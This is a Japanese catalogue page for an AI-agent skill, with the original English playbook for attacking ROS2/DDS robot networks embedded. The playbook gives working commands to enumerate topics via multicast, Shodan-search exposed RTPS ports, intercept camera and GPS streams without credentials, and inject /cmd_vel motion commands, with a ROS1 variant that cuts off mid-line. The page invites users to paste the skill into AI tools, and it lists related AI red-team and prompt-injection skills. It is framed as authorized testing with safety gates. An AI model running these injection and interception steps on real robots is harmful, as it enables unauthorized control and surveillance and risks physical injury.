ros2-dds-attack
できること
このガイドは、DDSを通じてセンサーや制御のメッセージを共有するROS2ロボットネットワークのセキュリティ確認を扱います。メッセージは実際のロボットに影響しうるため、明示的な承認を得たロボットチームとテスター向けです。
使う場面
- ✓ロボットチームが、同じネットワーク上のどの機器からのトラフィックも受け入れているかを確認したいとき。
- ✓許可された評価で、ロボットが公開しているトピックを一覧にする必要があるとき。
- ✓ロボットが稼働中の環境にあり、どのメッセージも物理的な損害を起こしうるとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのロボットは共有ネットワーク上でROS2を使っています。コマンドは一切送らずに、他の機器からどのトピックが見えるかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはネットワークのマルチキャスト設定を確認し、受動的な観察で見えているトピックとノードを一覧にします。他の機器が読めるものを報告します。メッセージは発行しません。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
ROS2 / DDS Attack Playbook
Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm
safety_critical_confirmed=truein the active OPPLAN before any publish/inject step.
Background
ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.
Phase 1 — Discovery
Network prerequisites
ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1
# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
-e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
-l 2>/dev/null | sort -u | head -40
ROS2 node and topic enumeration
If the attacker can install ros2 CLI tools (available in a Docker container
on the attacker host — no robot-side access required):
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
ros:humble \
bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"
Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time
dp = cyclonedds.domain.Domain(0) # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
print(t.name, t.type_name)
EOF
Shodan / Censys pivot (remote assessment)
Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):
shodan search 'port:7400 product:"RTPS"'
Phase 2 — Telemetry Interception
Subscribe to any topic without credentials:
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic echo /camera/image_raw --no-arr | head -50"
# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
'udp and (port 7400 or port 7401 or portrange 7410-7500)'
Topics of particular interest on robotic platforms:
| Topic pattern | Content |
|---|---|
/cmd_vel |
Velocity commands (Twist msg — direct actuator control) |
/joint_states |
Motor encoder data |
/camera/* |
Camera streams |
/gps/fix or /NavSatFix |
GPS telemetry |
/rosout |
System log (reveals software versions, errors) |
/tf / /tf_static |
Coordinate transform tree (reveals robot geometry) |
/diagnostics |
Hardware diagnostics |
Phase 3 — Message Injection (GATED — write-scope only)
STOP. Confirm
safety_critical_confirmed=true+ operator signature at/workspace/safety-attestation.txtbefore executing any publish command. A single malformed/cmd_velcan drive a robot into a person or off a ledge.
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
'{linear: {x: 0.0}, angular: {z: 0.0}}'"
# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
# '{linear: {x: 0.1}, angular: {z: 0.0}}'
MiR (Mobile Industrial Robot) ROS1 variant
MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
rostopic / rosnode instead of ros2:
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_
よくある質問
DDSとは何ですか?
ROS2がロボットの構成要素の間でメッセージを送るために使う、通信の基盤層です。
探索は安全ですか?
受動的な探索が最初の手順です。ガイドでは、発行や注入には安全上の確認が必要だとしています。
なぜ物理的なリスクになるのですか?
稼働中のロボットへのメッセージの注入は、物理的な損害を引き起こしうるとガイドは説明しています。
詳細
作者による元の説明
ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14101
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。